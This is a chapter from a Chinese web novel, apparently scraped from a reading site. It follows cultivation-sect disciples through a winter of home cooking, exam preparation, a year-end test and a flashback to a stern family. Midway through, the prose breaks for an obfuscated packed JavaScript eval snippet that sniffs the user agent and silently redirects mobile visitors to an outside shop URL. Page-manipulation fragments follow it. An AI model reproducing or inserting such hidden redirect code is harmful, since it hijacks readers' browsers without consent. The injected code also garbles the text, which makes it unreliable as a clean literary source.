文趣网 > 其他小说 > 这个攻略任务不对劲 > 17. 测试
    上清宗的冬天来得措不及防。

    明皎训练后,收剑时感觉到冰凉的东西落在手背上。

    抬眼,纷纷扬扬的雪花飘洒在周围的草木上。

    云鹤霄提剑接住一朵鹅毛大的雪花,而后剑身一转,雪花擦过剑刃一分为二落在地上。

    时苍宁站在屋檐下,手里捧着明皎给她熬的补神汤。

    水雾氤氲而起,模糊了她含笑的眉眼。

    “回来吧,别着凉了。”

    明皎两三步蹿到她身边,蹦跶两下抖落身上的雪:“时长老,中午吃什么?”

    虽说可以吃辟谷丹,但不知道为什么,厨艺一流的连翘师姐做出来的辟谷丹狗都不吃。

    一度和食舍的菜并列上清宗避雷榜首。

    所以她宁愿废点时间自己做饭也不想吃那玩意。

    “我又新做了一些糕点,尝尝?”

    上次烤箱爆炸后苏瑾痛定思痛,给她们送来一整套厨具,拍着胸口保证没有多余作用。

    年末测试将近,明皎没有时间去捯饬这些玩意,就被时苍宁盯上了。

    在嚯嚯了三分之二的厨具后,时苍宁成功解锁了厨房杀手和糕点师的身份。

    现在就喜欢窝在厨房里研究各种各样的糕点。

    要不是明皎和云鹤霄两人训练量大,一人估计得胖十斤。

    云鹤霄拍拍身上的雪,走到屋檐下。

    见她们真想把糕点当午饭吃,不禁头疼地揉揉太阳穴。

    糕点是饭吗?都多大人了,还拿零嘴当饭吃。

    “我早上煲了汤,这会应该好了。”

    “怪不得一直有香味呢。”

    时苍宁眉眼弯弯,十分捧场。

    明皎从食舍带了米饭的功夫,云鹤霄已经将菜做好。

    前一阵子她在连翘那进修了几天,厨艺愈发精进,已经是她们三人中厨艺最好的人。

    时苍宁抿口汤,皱眉。

    又抿一口,眉头皱得更紧。

    “没放盐?”

    不对劲,再尝一口。

    明皎舀了口汤尝了一下。

    放了盐,只是比较少。

    时苍宁见她们有些疑惑,解释道:“口味比较重,没尝出来。”

    明皎眨眨眼,忽然明白了为什么时苍宁做的点心齁甜得能做糖渍。

    云鹤霄想了想开口:“那我下次给您单独多放点调料。”

    她俩的口味都比较清淡,若不是今天盐放少了,还不清楚时苍宁这种情况。

    明皎意外的看着她,总觉得事情朝某些不可控的方向发现。

    原著的傲天清冷绝尘,贯彻孤狼主义,到后期更是说一不二,怎么会变成如今这样的慈母模样?

    时苍宁拨了口米饭,痛苦地闭上眼睛。

    这次她吃出来了:“夹生。”

    “好难吃,”云鹤霄艰难地将嘴里的米饭咽下去,“比之前的还难吃。”

    没有说之前好吃的意思。

    明皎小心翼翼抿了一口,半生不熟的米粒在口腔中碎成渣渣,仿佛啃了口橡皮碎屑:“这米换了?”

    就算没熟也不该这么难吃。

    时苍宁咬着筷子回忆执事堂的采购清单:“食舍采购了一批新米,应该还没掌握火候。”

    明皎叹口气:“下次直接买生米吧。”

    本以为能偷个懒,结果更加证明了自己动手丰衣足食的真理。

    她严重怀疑食舍的人是敌人派来扰乱上清宗的卧底!

    窗外的雪越下越大,一顿饭的功夫地面就已经完全被白雪覆盖。

    三人排排坐一人抱着一个碗慢悠悠地抿着补神汤。

    “这两天雪大,就先呆在屋里学吧,年末测试快到了。”

    云鹤霄手一抖,差点没拿稳手里的碗。

    求助的目光落在明皎身上。

    自己本就不是什么学习的料,那些乱七八糟的理论课看起来就让人头大。

    云鹤霄面无表情的想,比起那些每个字都认识,连起来就完全看不懂的书籍,她宁愿绕着上清宗跑五十圈。

    明皎收到她的眼神,拍了拍胸脯,一副“包在我身上”的表情。

    之后的几天云鹤霄差点累成狗,两眼一睁就是背书。

    一闭上眼睛,眼前全是密密麻麻的字。

    哆哆嗦嗦端起茶杯一饮而尽,云鹤霄终于松口气,瘫靠在椅背上,连一点形象都不顾了。

    明皎伸了个懒腰:“美好的一天结束了。”

    明天就是年末测试了,结束之后就要开始准备过年的事情了。

    山中岁月并非众人想象的无聊,上清宗与凡人接触众多,凡间的节日自然也有所耳闻。

    为了避免新徒子们佳节思亲,宗门招生那一年的节日会比之前的更盛大。

    云鹤霄不懂她的期许,听到这句话后眼睛呆滞地转了转。

    美好吗?

    她不懂。

    房门忽然被打开,时苍宁站在门口,冷风从她身后灌进来,两人不约而同抖了个激灵。

    云鹤霄原本昏沉的大脑瞬间清醒。

    “早点睡吧。”

    时苍宁敲敲门框,提醒这俩位废寝忘食的崽。

    明皎轻轻蹭过去:“准备睡了。”

    云鹤霄将桌面上的书垒成一摞,贴在墙角,确保上下在一条线上。

    然后犹豫了一下:“要不我再看会?”

    她真的有点慌了。

    这还是她来上清宗面对的第一场大型的测试。

    虽然不理解自己到底为什么这么紧张。

    明皎走过来吗,扶着她的肩膀将她推到门口:“好了傲天,相信你自己。”

    时苍宁垂眸勾唇,揉了揉她的脑袋:“不用紧张,这个测试并不算难。”

    云鹤霄纠结了一会,选择相信她们的话,毕竟连时苍宁都说不难,那应该是真的不难。

    想通这点后云鹤霄顿时觉得有些累了,原本被风吹散的困意从新涌上脑袋。

    明皎眼睛亮晶晶,一脸期待地看着时苍宁。

    时苍宁眨眨眼,再次催促她:“去睡吧,明天考核后给你们做点心。”

    眼见明皎的脑袋耷拉下来,她低笑一声,也摸了摸她毛茸茸的脑袋。

    “乖。”

    时苍宁偶尔有种自己养了一对双胞胎的感觉,一个有的另一个也要有,十分锻炼端水技术。

    考试这天是个难得的晴天,阳光洒在积雪上将环境衬得更亮。

    时苍宁走在小路上,不由得眯起眼睛,减弱刺眼的感觉。

    河清跟她说过这种理论考试明皎向来手拿把掐,算算时间应该已经差不多要结束了。

    明皎是第一个交卷的,监考的崔长老早就习惯了明皎的答题速度,眼都不抬,挥挥手让她离开。

    她和云鹤霄不在同一个考场,悄悄拐了个弯经过云鹤霄考试的窗前,就看见她抓耳挠腮痛不欲生的模样。

    看来考试对她来说真的很痛苦了。

    这个点没什么人出来,明皎穿过前厅就看见时苍宁一身白衣现在雪地中,手中提着白色的灯笼,如同落雪幻化的精灵。

    见她含笑看着她,明皎一路小跑蹦跶到她身边。

    “如何?”

    时苍宁的音色清冷,语调却很温柔。

    “你想听实话还是谦虚点的?”

    明皎脚跟翘起又落下,双手由身前背到身后,微微仰头看着时苍宁。

    时苍宁微微一笑:“无论你说什么,我都乐意听,无论怎样,你都值得夸奖。”

    明皎与她的视线相对,心跳忽然漏了一拍。

    没有孩子不渴望得到夸奖,可孤儿院的生活和自己特殊的情况总是让她下意识保持谦逊。

    而阳光下的时苍宁敛眉垂眸目光温柔,无论她说什么,她都会包容她。

    冬日的阳光忽然炙热,明皎感觉自己脸颊的温度上升,眼神慌乱移开,顺手握住身边树丛上的雪。

    太热了,抓把雪冷静一下。

    她深吸一口气,忽略脸颊的温度,语气中带点矜傲:“那些题对我而言,易如反掌啊。”

    “那我们明皎很厉害!”

    眉眼弯弯,丝毫不嫌她自大。

    交完卷后云鹤霄倚在墙边捂着脸深深叹口气。

    身心俱疲的感觉许久不曾体会过了,但无论结果如何,终于有种人头落地了的踏实感。

    明皎答题比她快,在她抓耳挠腮时她就已经从她窗前飘过了。

    这时应该已经回去了。

    穿过庭院,云鹤霄感受到一道熟悉的目光,她下意识抬头望去。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17581965|205121||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时苍宁站在角落笑意盈盈看着她,明皎似乎没发现她,正蹲在她身边手中拿着一根树枝不知在画什么。

    绿色的衣摆落在雪地上,如同新生的萌芽。

    见到时苍宁朝她挥手,云鹤霄快步走到她身边:“时长老。”

    明皎听到声音扭头朝她招招手:“看!”

    云鹤霄顺着她的手看去,只见洁白的雪地上画着三个东西。

    中间是简单的弯月,旁边一只勉强能认出来的猫,另一边是一只……鸡?

    “是鹤!”

    云鹤霄这才发现自己不小心将心里话说了出来,得到明皎的怒视。

    身边的时苍宁指背轻掩嘴角,默默别开了眼。

    云鹤霄原本因考试而拢上心头的阴翳忽然驱散了些许。

    等到夜深人静,躺在床上的云鹤霄翻来覆去。

    这几个月她忙忙碌碌,如今一闲下来,忽然惊觉自己似乎很久没想过京城里那些人了。

    而今又久违地想起那两位亲人。

    云鹤霄还记得去年这个时候母亲冷漠的面容上浮现了罕见的失望表情。

    她并没有说什么,目光轻飘飘地落在她身上,却犹如一座山,令云鹤霄喘不过来气。

    姐姐云鹤鸣站在母亲旁边犹如一座雕像一言不发。

    正厅一片死寂。

    良久母亲开口:“鹤霄,你让我失望了。”

    云鹤霄跪在下位,垂眸盯着眼前的地板缝隙,一样沉默着。

    她也不知道自己该说什么,或许有人天生就不是读书的料,就像她无论怎么努力在书舍排名也只是中上游,赶不上一直榜首的姐姐。

    或许这个成绩对别的人家来说还算不错,但却远远达不到母亲的要求。

    母亲似乎是被她缄默的态度气到了,将手中的茶盏放下,瓷器与紫檀木轻碰的声音在一片寂静中格外刺耳。

    “去祠堂反省。”

    她径直掠过云鹤霄,衣袖带起来的风吹过她鬓角的发丝。

    云鹤鸣深深看了眼跪在地上的云鹤霄,沉默地跟在母亲身后。

    嬷嬷叹口气:“二小姐,您别和家主置气,她也不容易。”

    云鹤霄站起身,拍拍膝盖上的灰尘低低嗯了一声。

    这些年家族在朝中势力愈发衰减,族中无人,母亲便将振兴家族的希望都放在了她们两个身上。

    她并不怨恨她,只是感觉有些心累。

    所有人都知道她不如姐姐聪慧,就连母亲都认同,可却还是按照培养对待姐姐的标准对待她。

    府里的下人见到云鹤霄恭恭敬敬的行礼又匆匆赶路,年关将至,她们正为过年做准备。

    去祠堂的路上忽然飘起了雪花,云鹤霄愣愣地看了一会,直到身边嬷嬷催促。

    祠堂内灯火通明,一个个牌位在上方端端正正地摆着,如同一双双沉默的眼睛看着云鹤霄。

    云鹤霄轻车熟路地跪在蒲团上,祠堂的门在她身后关上,阻隔了外界的喧嚣。

    不知过了多久,云鹤霄百无聊赖,扭头盯着门看了一会儿,忽而叹口气,自己到底在期待什么呢?

    早就应该知道云鹤鸣不会再像小时候一样悄悄摸进来,然后塞给她一块点心。

    云鹤霄将蒲团拉到角落里倚在墙上闭目养神。

    就在她快要睡着的时候,迷迷糊糊听到不远处有什么敲击的声音。

    “鹤霄鹤霄……”声音模模糊糊。

    云鹤霄脑子有些迟钝,是云鹤鸣吗?不太像。

    敲击的声音依旧不徐不疾:“傲天……”

    云鹤霄猛然惊醒。

    窗户外什么都没有,却从下面伸出一只手敲敲窗棂。

    云鹤霄打开窗户,低头与蹲在窗户下方的明皎正对视线。

    明皎扯出一抹笑:“嘿嘿,我就知道你没睡。”

    云鹤霄面无表情地点点头,差点就没睡。

    对于明皎大半夜来敲她窗这件事云鹤霄有些意外。

    她和明皎相处这么久,自然知道太阳落山后明皎不会轻易出门。

    如今突然出现让云鹤霄有种不好的预感:“发生了什么?”

    一时间,云鹤霄满脑子充斥着各种乱起八糟的可能。

    明皎扒拉着窗台站起来:“时长老烤了些饼干,你要不要尝尝?”